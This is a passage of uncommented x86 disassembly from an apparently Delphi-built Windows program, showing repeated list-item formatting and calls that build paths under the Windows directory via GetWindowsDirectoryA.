mov eax, dword [ebp - 0x1464]
lea edx, [ebp - 0x1460]
call fcn.005939c8
mov edx, dword [ebp - 0x1460]
lea eax, [ebp - 0x3d4]
call fcn.00405b30
push 0
lea eax, [ebp - 0x1474]
push eax
lea eax, [ebp - 0x1478]
push eax
lea ecx, [ebp - 0x147c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x147c]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov edx, dword [ebp - 0x1478]
mov ecx, 3
mov eax, dword [ebp - 0x3d8]
call fcn.005b2fe8
mov eax, dword [ebp - 0x1474]
lea edx, [ebp - 0x1470]
call fcn.005939c8
mov edx, dword [ebp - 0x1470]
lea eax, [ebp - 0x3d8]
call fcn.00405b30
push 0
lea eax, [ebp - 0x1484]
push eax
lea eax, [ebp - 0x1488]
push eax
lea ecx, [ebp - 0x148c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x148c]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov edx, dword [ebp - 0x1488]
mov ecx, 4
mov eax, dword [ebp - 0x3dc]
call fcn.005b2fe8
mov eax, dword [ebp - 0x1484]
lea edx, [ebp - 0x1480]
call fcn.005939c8
mov edx, dword [ebp - 0x1480]
lea eax, [ebp - 0x3dc]
call fcn.00405b30
push 0
lea eax, [ebp - 0x1494]
push eax
lea eax, [ebp - 0x1498]
push eax
lea ecx, [ebp - 0x149c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x149c]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov edx, dword [ebp - 0x1498]
mov ecx, 5
mov eax, dword [ebp - 0x3e0]
call fcn.005b2fe8
mov eax, dword [ebp - 0x1494]
lea edx, [ebp - 0x1490]
call fcn.005939c8
mov edx, dword [ebp - 0x1490]
lea eax, [ebp - 0x3e0]
call fcn.00405b30
movzx eax, byte [0x5aebdc]
push eax
lea eax, [ebp - 0x14a0]
push eax
mov ecx, 0x5aebe8
mov edx, 0x5aebf8
mov eax, dword [ebp - 0x3e0]
call fcn.004ad574
mov edx, dword [ebp - 0x14a0]
lea eax, [ebp - 0x3e0]
call fcn.00405b30
mov eax, dword [ebp - 0x54c]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x53c]
mov eax, dword [ebp - 0x538]
call fcn.005b2f40
mov edx, dword [ebp - 0x54c]
dec edx
mov ecx, 0x5ae048
mov eax, dword [0x5dccd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0x14a4]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5ae4dc
call fcn.00405db0
mov eax, dword [ebp - 0x14a4]
mov edx, 0x5ae048
call fcn.0058ef14
push ebp
lea eax, [ebp - 0x14a8]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5ae4dc
call fcn.00405db0
mov eax, dword [ebp - 0x14a8]
call fcn.0059405c
pop ecx
push ebp
mov eax, 0x5ae048
call fcn.0059405c
pop ecx
cmp dword [0x5dcd78], 2
jne 0x59e8b4
lea ecx, [ebp - 0x14ac]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
cmp dword [ebp - 0x14ac], 0
je 0x59e8b4
xor eax, eax
push ebp
push 0x59e85b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x3e4]
push eax
lea eax, [ebp - 0x3ec]
push eax
lea eax, [ebp - 0x3f0]
push eax
lea eax, [ebp - 0x3f4]
push eax
lea eax, [ebp - 0x3f8]
push eax
lea eax, [ebp - 0x621]
push eax
lea ecx, [ebp - 0x14b0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x14b0]
mov ecx, dword [ebp - 0x3e8]
mov edx, dword [ebp - 0x1d8]
call fcn.0059022c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59e8b4
lea eax, [ebp - 0x14b8]
push eax
lea ecx, [ebp - 0x14bc]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x14bc]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x14b8]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea edx, [ebp - 0x14c0]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x14c0]
push eax
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae90c
lea eax, [ebp - 0x14c4]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x14c4]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae90c
lea eax, [ebp - 0x14c8]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x14c8]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0x14cc]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x14cc]
call fcn.0059405c
pop ecx
lea edx, [ebp - 0x14d0]
mov eax, dword [ebp - 0x3d0]
call fcn.0058ff30
mov eax, dword [ebp - 0x14d0]
push eax
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae918
lea eax, [ebp - 0x14d4]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x14d4]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae918
lea eax, [ebp - 0x14d8]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x14d8]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0x14dc]
mov eax, dword [ebp - 0x3d0]
call fcn.0058ff30
mov eax, dword [ebp - 0x14dc]
call fcn.0059405c
pop ecx
lea edx, [ebp - 0x14e0]
mov eax, dword [ebp - 0x3d4]
call fcn.0058ff30
mov eax, dword [ebp - 0x14e0]
push eax
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae924
lea eax, [ebp - 0x14e4]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x14e4]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae924
lea eax, [ebp - 0x14e8]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x14e8]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0x14ec]
mov eax, dword [ebp - 0x3d4]
call fcn.0058ff30
mov eax, dword [ebp - 0x14ec]
call fcn.0059405c
pop ecx
lea edx, [ebp - 0x14f0]
mov eax, dword [ebp - 0x3dc]
call fcn.0058ff30
mov eax, dword [ebp - 0x14f0]
push eax
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae94c
lea eax, [ebp - 0x14f4]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x14f4]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae94c
lea eax, [ebp - 0x14f8]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x14f8]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0x14fc]
mov eax, dword [ebp - 0x3dc]
call fcn.0058ff30
mov eax, dword [ebp - 0x14fc]
call fcn.0059405c
pop ecx
lea edx, [ebp - 0x1500]
mov eax, dword [ebp - 0x3e0]
call fcn.0058ff30
mov eax, dword [ebp - 0x1500]
push eax
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae958
lea eax, [ebp - 0x1504]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1504]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae958
lea eax, [ebp - 0x1508]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1508]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0x150c]
mov eax, dword [ebp - 0x3e0]
call fcn.0058ff30
mov eax, dword [ebp - 0x150c]
call fcn.0059405c
pop ecx
lea eax, [ebp - 0x1510]
push eax
lea ecx, [ebp - 0x1514]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1514]
mov ecx, 0xd
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1510]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea edx, [ebp - 0x1518]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x1518]
push eax
push 0x5ae900
push dword [ebp - 0x418]
push 0x5aec04
lea eax, [ebp - 0x151c]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x151c]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae900
push dword [ebp - 0x418]
push 0x5aec04
lea eax, [ebp - 0x1520]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1520]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0x1524]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x1524]
call fcn.0059405c
pop ecx
lea eax, [ebp - 0x1528]
push eax
lea ecx, [ebp - 0x152c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x152c]
mov ecx, 0xe
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1528]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea edx, [ebp - 0x1530]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x1530]
push eax
push 0x5ae900
push dword [ebp - 0x418]
push 0x5aec10
lea eax, [ebp - 0x1534]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1534]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae900
push dword [ebp - 0x418]
push 0x5aec10
lea eax, [ebp - 0x1538]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1538]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0x153c]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x153c]
call fcn.0059405c
pop ecx
lea eax, [ebp - 0x1540]
push eax
lea ecx, [ebp - 0x1544]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1544]
mov ecx, 0xf
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1540]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea edx, [ebp - 0x1548]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x1548]
push eax
push 0x5ae900
push dword [ebp - 0x418]
push 0x5aec1c
lea eax, [ebp - 0x154c]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x154c]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae900
push dword [ebp - 0x418]
push 0x5aec1c
lea eax, [ebp - 0x1550]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1550]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0x1554]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x1554]
call fcn.0059405c
pop ecx
lea edx, [ebp - 0x1558]
mov eax, dword [ebp - 0x3d8]
call fcn.0058ff30
mov eax, dword [ebp - 0x1558]
push eax
push 0x5ae900
push dword [ebp - 0x418]
push 0x5aec28
lea eax, [ebp - 0x155c]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x155c]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae900
push dword [ebp - 0x418]
push 0x5aec28
lea eax, [ebp - 0x1560]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1560]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0x1564]
mov eax, dword [ebp - 0x3d8]
call fcn.0058ff30
mov eax, dword [ebp - 0x1564]
call fcn.0059405c
pop ecx
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5aec34
call fcn.00405ec0
jne 0x59f1b2
xor eax, eax
push ebp
push 0x59f1ab
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
mov eax, 0x104
call fcn.00402fc0
mov esi, eax
push 0x104
push esi
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x156c]
mov edx, esi
call fcn.00405c90
mov eax, dword [ebp - 0x156c]
lea edx, [ebp - 0x1568]
call fcn.00589dcc
mov edx, dword [ebp - 0x1568]
lea eax, [ebp - 0x3c0]
mov ecx, 0x5aec54
call fcn.00405db0
mov eax, esi
call fcn.00402fdc
push 0x5ae75c
lea eax, [ebp - 0x1570]
push eax
lea ecx, [ebp - 0x1574]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1574]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1570]
lea ecx, [ebp - 0x424]
lea edx, [ebp - 0x420]
call fcn.0058e5a4
cmp dword [ebp - 0x424], 0
jne 0x59efae
lea eax, [ebp - 0x424]
mov edx, 0x5ae048
call fcn.00405b30
mov eax, dword [ebp - 0x424]
call fcn.005936d4
test al, al
je 0x59efcf
lea eax, [ebp - 0x3c4]
mov edx, 0x5aec88
call fcn.00405b30
jmp 0x59efdf
lea eax, [ebp - 0x3c4]
mov edx, 0x5aec98
call fcn.00405b30
push 0
push 1
lea edx, [ebp - 0x1580]
mov eax, dword [ebp - 0x420]
call fcn.005939c8
mov eax, dword [ebp - 0x1580]
lea edx, [ebp - 0x157c]
call fcn.0040bbcc
mov eax, dword [ebp - 0x157c]
lea edx, [ebp - 0x1578]
call fcn.00589dcc
mov eax, dword [ebp - 0x1578]
push eax
push dword [ebp - 0x3c4]
push 0x5aecac
push 0x5ae46c
lea edx, [ebp - 0x1588]
mov eax, dword [ebp - 0x420]
call fcn.005939c8
push dword [ebp - 0x1588]
push 0x5ae46c
lea eax, [ebp - 0x1584]
mov edx, 5
call fcn.00405e2c
mov edx, dword [ebp - 0x1584]
mov eax, dword [ebp - 0x3c0]
pop ecx
call fcn.00589c00
mov dword [ebp - 0x564], eax
cmp dword [ebp - 0x564], 0
jne 0x59f084
call fcn.00405498
jmp 0x5ad501
mov eax, 0x104
call fcn.00402fc0
mov esi, eax
push 0x104
push esi
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x1590]
mov edx, esi
call fcn.00405c90
mov eax, dword [ebp - 0x1590]
lea edx, [ebp - 0x158c]
call fcn.00589dcc
mov edx, dword [ebp - 0x158c]
lea eax, [ebp - 0x3c0]
mov ecx, 0x5aecb8
call fcn.00405db0
mov eax, esi
call fcn.00402fdc
mov eax, dword [ebp - 0x424]
call fcn.005936d4
test al, al
je 0x59f0f2
lea eax, [ebp - 0x3c4]
call fcn.00405a98
jmp 0x59f102
lea eax, [ebp - 0x3c4]
mov edx, 0x5aecec
call fcn.00405b30
push 0
push 1
lea edx, [ebp - 0x159c]
mov eax, dword [ebp - 0x420]
call fcn.005939c8
mov eax, dword [ebp - 0x159c]
lea edx, [ebp - 0x1598]
call fcn.0040bbcc
mov eax, dword [ebp - 0x1598]
lea edx, [ebp - 0x1594]
call fcn.00589dcc
mov eax, dword [ebp - 0x1594]
push eax
push dword [ebp - 0x3c4]
push 0x5aecac
push 0x5ae46c
lea edx, [ebp - 0x15a4]
mov eax, dword [ebp - 0x420]
call fcn.005939c8
push dword [ebp - 0x15a4]
push 0x5ae46c
lea eax, [ebp - 0x15a0]
mov edx, 5
call fcn.00405e2c
mov edx, dword [ebp - 0x15a0]
mov eax, dword [ebp - 0x3c0]
pop ecx
call fcn.00589c00
call fcn.00405498
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5aecfc
call fcn.00405ec0
jne 0x59f50b
xor eax, eax
push ebp
push 0x59f504
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
mov eax, 0x104
call fcn.00402fc0
mov esi, eax
push 0x104
push esi
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x15ac]
mov edx, esi
call fcn.00405c90
mov eax, dword [ebp - 0x15ac]
lea edx, [ebp - 0x15a8]
call fcn.00589dcc
mov edx, dword [ebp - 0x15a8]
lea eax, [ebp - 0x3c0]
mov ecx, 0x5aed20
call fcn.00405db0
mov eax, esi
call fcn.00402fdc
lea eax, [ebp - 0x15b4]
push eax
lea ecx, [ebp - 0x15b8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x15b8]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x15b4]
lea edx, [ebp - 0x15b0]
call fcn.0058ff30
mov eax, dword [ebp - 0x15b0]
call fcn.005936d4
test al, al
je 0x59f28c
lea eax, [ebp - 0x3c4]
call fcn.00405a98
jmp 0x59f29c
lea eax, [ebp - 0x3c4]
mov edx, 0x5aed5c
call fcn.00405b30
push 0
push 1
lea eax, [ebp - 0x15c8]
push eax
lea ecx, [ebp - 0x15cc]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x15cc]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x15c8]
lea edx, [ebp - 0x15c4]
call fcn.005939c8
mov eax, dword [ebp - 0x15c4]
lea edx, [ebp - 0x15c0]
call fcn.0040bbcc
mov eax, dword [ebp - 0x15c0]
lea edx, [ebp - 0x15bc]
call fcn.00589dcc
mov eax, dword [ebp - 0x15bc]
push eax
push dword [ebp - 0x3c4]
push 0x5aecac
push 0x5ae46c
lea eax, [ebp - 0x15d8]
push eax
lea ecx, [ebp - 0x15dc]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x15dc]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x15d8]
lea edx, [ebp - 0x15d4]
call fcn.005939c8
push dword [ebp - 0x15d4]
push 0x5ae46c
lea eax, [ebp - 0x15d0]
mov edx, 5
call fcn.00405e2c
mov edx, dword [ebp - 0x15d0]
mov eax, dword [ebp - 0x3c0]
pop ecx
call fcn.00589c00
mov dword [ebp - 0x564], eax
cmp dword [ebp - 0x564], 0
jne 0x59f3a5
call fcn.00405498
jmp 0x5ad501
mov eax, 0x104
call fcn.00402fc0
mov esi, eax
push 0x104
push esi
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x15e4]
mov edx, esi
call fcn.00405c90
mov eax, dword [ebp - 0x15e4]
lea edx, [ebp - 0x15e0]
call fcn.00589dcc
mov edx, dword [ebp - 0x15e0]
lea eax, [ebp - 0x3c0]
mov ecx, 0x5aed68
call fcn.00405db0
mov eax, esi
call fcn.00402fdc
push 0
push 1
lea eax, [ebp - 0x15f4]
push eax
lea ecx, [ebp - 0x15f8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x15f8]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x15f4]
lea edx, [ebp - 0x15f0]
call fcn.005939c8
mov eax, dword [ebp - 0x15f0]
lea edx, [ebp - 0x15ec]
call fcn.0040bbcc
mov eax, dword [ebp - 0x15ec]
lea edx, [ebp - 0x15e8]
call fcn.00589dcc
mov eax, dword [ebp - 0x15e8]
push eax
push dword [ebp - 0x3c4]
push 0x5aecac
push 0x5ae46c
lea eax, [ebp - 0x1604]
push eax
lea ecx, [ebp - 0x1608]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1608]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1604]
lea edx, [ebp - 0x1600]
call fcn.005939c8
push dword [ebp - 0x1600]
push 0x5ae46c
lea eax, [ebp - 0x15fc]
mov edx, 5
call fcn.00405e2c
mov edx, dword [ebp - 0x15fc]
mov eax, dword [ebp - 0x3c0]
pop ecx
call fcn.00589c00
call fcn.00405498
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5aeda4
call fcn.00405ec0
jne 0x59fb23
xor eax, eax
push ebp
push 0x59fb1c
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
mov eax, 0x104
call fcn.00402fc0
mov esi, eax
push 0x104
push esi
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x1610]
mov edx, esi
call fcn.00405c90
mov eax, dword [ebp - 0x1610]
lea edx, [ebp - 0x160c]
call fcn.00589dcc
mov edx, dword [ebp - 0x160c]
lea eax, [ebp - 0x3c0]
mov ecx, 0x5aedc0
call fcn.00405db0
mov eax, esi
call fcn.00402fdc
push 0x5ae75c
lea eax, [ebp - 0x1614]
push eax
lea ecx, [ebp - 0x1618]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1618]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1614]
lea ecx, [ebp - 0x424]
lea edx, [ebp - 0x420]
call fcn.0058e5a4
cmp dword [ebp - 0x424], 0
jne 0x59f5ed
lea eax, [ebp - 0x424]
mov edx, 0x5ae048
call fcn.00405b30
mov eax, dword [ebp - 0x424]
call fcn.005936d4
test al, al
je 0x59f60e
lea eax, [ebp - 0x3c4]
mov edx, 0x5aedf8
call fcn.00405b30
jmp 0x59f61e
lea eax, [ebp - 0x3c4]
mov edx, 0x5aee08
call fcn.00405b30
lea edx, [ebp - 0x43c]
mov eax, dword [ebp - 0x420]
call fcn.005939c8
lea edx, [ebp - 0x1620]
mov eax, dword [ebp - 0x43c]
call fcn.0040bbcc
mov eax, dword [ebp - 0x1620]
lea edx, [ebp - 0x161c]
call fcn.00589dcc
cmp dword [ebp - 0x161c], 0
jne 0x59f97c
lea eax, [ebp - 0x440]
push eax
mov edx, dword [ebp - 0x43c]
mov eax, 0x5aee24
call fcn.00406074
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x43c]
call fcn.00405f90
mov eax, dword [ebp - 0x43c]
mov dword [ebp - 0x720], eax
cmp dword [ebp - 0x720], 0
je 0x59f6ae
mov eax, dword [ebp - 0x720]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x720], eax
lea eax, [ebp - 0x448]
push eax
mov edx, dword [ebp - 0x43c]
mov eax, 0x5aee30
call fcn.00406074
mov edx, eax
add edx, 0xf
mov ecx, dword [ebp - 0x720]
mov eax, dword [ebp - 0x43c]
call fcn.00405f90
mov eax, dword [ebp - 0x43c]
mov dword [ebp - 0x724], eax
cmp dword [ebp - 0x724], 0
je 0x59f701
mov eax, dword [ebp - 0x724]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x724], eax
lea eax, [ebp - 0x444]
push eax
mov edx, dword [ebp - 0x43c]
mov eax, 0x5aee48
call fcn.00406074
mov edx, eax
add edx, 8
mov ecx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x43c]
call fcn.00405f90
mov eax, dword [ebp - 0x444]
mov dword [ebp - 0x728], eax
cmp dword [ebp - 0x728], 0
je 0x59f754
mov eax, dword [ebp - 0x728]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x728], eax
mov edx, dword [ebp - 0x444]
mov eax, 0x5aee24
call fcn.00406074
mov edx, eax
lea eax, [ebp - 0x444]
mov ecx, dword [ebp - 0x728]
call fcn.00405fd0
push dword [ebp - 0x440]
push 0x5ae478
push dword [ebp - 0x444]
push 0x5aee5c
push dword [ebp - 0x448]
push 0x5ae478
push dword [ebp - 0x440]
push 0x5aee68
lea eax, [ebp - 0x44c]
mov edx, 8
call fcn.00405e2c
mov eax, 0x104
call fcn.00402fc0
mov dword [ebp - 0x680], eax
push 0x104
mov eax, dword [ebp - 0x680]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x1628]
mov edx, dword [ebp - 0x680]
call fcn.00405c90
mov eax, dword [ebp - 0x1628]
lea edx, [ebp - 0x1624]
call fcn.00589dcc
mov edx, dword [ebp - 0x1624]
lea eax, [ebp - 0x450]
mov ecx, 0x5aee78
call fcn.00405db0
mov eax, dword [ebp - 0x680]
call fcn.00402fdc
mov dl, 1
mov eax, dword [0x41c748]
call fcn.00404b08
mov dword [ebp - 0x688], eax
push dword [ebp - 0x450]
push 0x5aee8c
push dword [ebp - 0x44c]
lea eax, [ebp - 0x162c]
mov edx, 3
call fcn.00405e2c
mov edx, dword [ebp - 0x162c]
mov eax, dword [ebp - 0x688]
mov ecx, dword [eax]
call dword [ecx + 0x38]
push dword [ebp - 0x450]
push 0x5aeea0
push dword [ebp - 0x44c]
lea eax, [ebp - 0x1630]
mov edx, 3
call fcn.00405e2c
mov edx, dword [ebp - 0x1630]
mov eax, dword [ebp - 0x688]
mov ecx, dword [eax]
call dword [ecx + 0x38]
push dword [ebp - 0x450]
push 0x5aeeb0
push dword [ebp - 0x44c]
lea eax, [ebp - 0x1634]
mov edx, 3
call fcn.00405e2c
mov edx, dword [ebp - 0x1634]
mov eax, dword [ebp - 0x688]
mov ecx, dword [eax]
call dword [ecx + 0x38]
push dword [ebp - 0x450]
push 0x5aeec0
push dword [ebp - 0x44c]
lea eax, [ebp - 0x1638]
mov edx, 3
call fcn.00405e2c
mov edx, dword [ebp - 0x1638]
mov eax, dword [ebp - 0x688]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov eax, dword [ebp - 0x688]
mov edx, dword [eax]
call dword [edx + 0x14]
cmp eax, 1
jl 0x59f94f
mov dword [ebp - 0x684], eax
lea ecx, [ebp - 0x163c]
mov edx, dword [ebp - 0x684]
dec edx
mov eax, dword [ebp - 0x688]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x163c]
call fcn.0040b8f0
test al, al
jne 0x59f940
mov edx, dword [ebp - 0x684]
dec edx
mov eax, dword [ebp - 0x688]
mov ecx, dword [eax]
call dword [ecx + 0x48]
dec dword [ebp - 0x684]
cmp dword [ebp - 0x684], 0
jne 0x59f907
mov eax, dword [ebp - 0x688]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle 0x59f971
lea ecx, [ebp - 0x420]
xor edx, edx
mov eax, dword [ebp - 0x688]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x688]
call fcn.00404b38
push 0
push 1
lea edx, [ebp - 0x1648]
mov eax, dword [ebp - 0x420]
call fcn.005939c8
mov eax, dword [ebp - 0x1648]
lea edx, [ebp - 0x1644]
call fcn.0040bbcc
mov eax, dword [ebp - 0x1644]
lea edx, [ebp - 0x1640]
call fcn.00589dcc
mov eax, dword [ebp - 0x1640]
push eax
push dword [ebp - 0x3c4]
push 0x5aecac
push 0x5ae46c
lea edx, [ebp - 0x1650]
mov eax, dword [ebp - 0x420]
call fcn.005939c8
push dword [ebp - 0x1650]
push 0x5aeed0
lea eax, [ebp - 0x164c]
mov edx, 5
call fcn.00405e2c
mov edx, dword [ebp - 0x164c]
mov eax, dword [ebp - 0x3c0]
pop ecx
call fcn.00589c00
mov dword [ebp - 0x564], eax
cmp dword [ebp - 0x564], 0
jne 0x59fa21
call fcn.00405498
jmp 0x5ad501
mov eax, 0x104
call fcn.00402fc0
mov esi, eax
push 0x104
push esi
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x1658]
mov edx, esi
call fcn.00405c90
mov eax, dword [ebp - 0x1658]
lea edx, [ebp - 0x1654]
call fcn.00589dcc
mov edx, dword [ebp - 0x1654]
lea eax, [ebp - 0x3c0]
mov ecx, 0x5aeee4
call fcn.00405db0
mov eax, esi
call fcn.00402fdc
push 0
push 1
lea edx, [ebp - 0x1664]
mov eax, dword [ebp - 0x420]
call fcn.005939c8
mov eax, dword [ebp - 0x1664]
lea edx, [ebp - 0x1660]
call fcn.0040bbcc
mov eax, dword [ebp - 0x1660]
lea edx, [ebp - 0x165c]
call fcn.00589dcc
mov eax, dword [ebp - 0x165c]
push eax
push dword [ebp - 0x3c4]
push 0x5aecac
push 0x5ae46c
lea edx, [ebp - 0x166c]
